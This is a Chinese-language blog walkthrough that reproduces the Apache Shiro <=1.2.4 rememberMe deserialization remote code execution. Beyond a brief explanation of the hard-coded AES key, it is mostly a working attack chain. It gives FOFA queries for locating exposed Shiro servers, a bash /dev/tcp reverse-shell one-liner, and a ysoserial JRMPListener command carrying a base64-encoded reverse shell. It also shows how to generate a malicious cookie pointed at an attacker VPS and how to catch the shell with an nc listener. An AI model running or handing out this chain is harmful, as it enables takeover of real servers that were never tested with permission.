Shiro反序列化<=1.2.4 復現


Apache Shiro是一個Java安全框架,執行身份驗證、授權、密碼和會話管理。   

shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值–>Base64解碼–>AES解密–>反序列化。然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞。該漏洞對shiro<=1.2.4的版本有影響。

環境搭建

https://github.com/vulhub/vulhub    docker環境

也可以在搜索引擎中找

FOFA

header="rememberme=deleteMe"、header="shiroCookie"

 

環境搭建難點

Shiro利用maven編譯有很多坑點,鑒於過於痛苦,我列出主要坑點

1.機器需要安裝mvn、svn命令

2.jdk建議為1.6

3.maven版本最好為3.1.1

 

 

一鍵檢測工具

https://github.com/sv3nbeast/ShiroScan

 

漏洞復現

需要2個利用漏洞工具加密

一個是shiro_poc.py   ,用於得到rememberMe

一個是maven,  用於加密監聽執行命令

 

1.https://mp.weixin.qq.com/s/KkWL9SftCZSdkglW39Qw0Q

制作反彈shell 代碼

使用http://www.jackson-t.ca/runtime-exec-payloads.html 進行編碼

bash -I >& /dev/tcp ip/端口 0>&1

 

 

 

2.使用ysoserial中JRMP監聽模塊,監聽6666端口 (不同字體就是上面編碼后的命令)(注意標黃的位置,是工具名稱,注意適時更換)

攻擊機中執行命令:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtSSA+JiAvZGV2L3RjcCBpcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}'

 

 

 

如果沒用ysoserial,可安裝到shiro.py同目錄

或者利用ysoserial進行編碼

git clone https://github.com/frohoff/ysoserial.git

cd ysoserial

mvn package -DskipTests

cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

 

3.新建窗口,生成rememberme,  自己vps的ip,6666是上面ysoserial監聽的端口    

python shiro_poc.py vpsip:6666    得到rememberme  (注意這個rememberme是一次性的)

 

 

 

4.新建窗口,監聽端口

nc -lvnp  端口  (端口是第1步反彈shell的端口,不是6666端口)

 

5..復制rememberMe到數據包,發送

返回200,有些環境會返回302

注意:刪除session和空格

6.返回shell

 

文筆菜, 技術也菜 ,有什么問題可以留言,雖然我不會看。。。。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM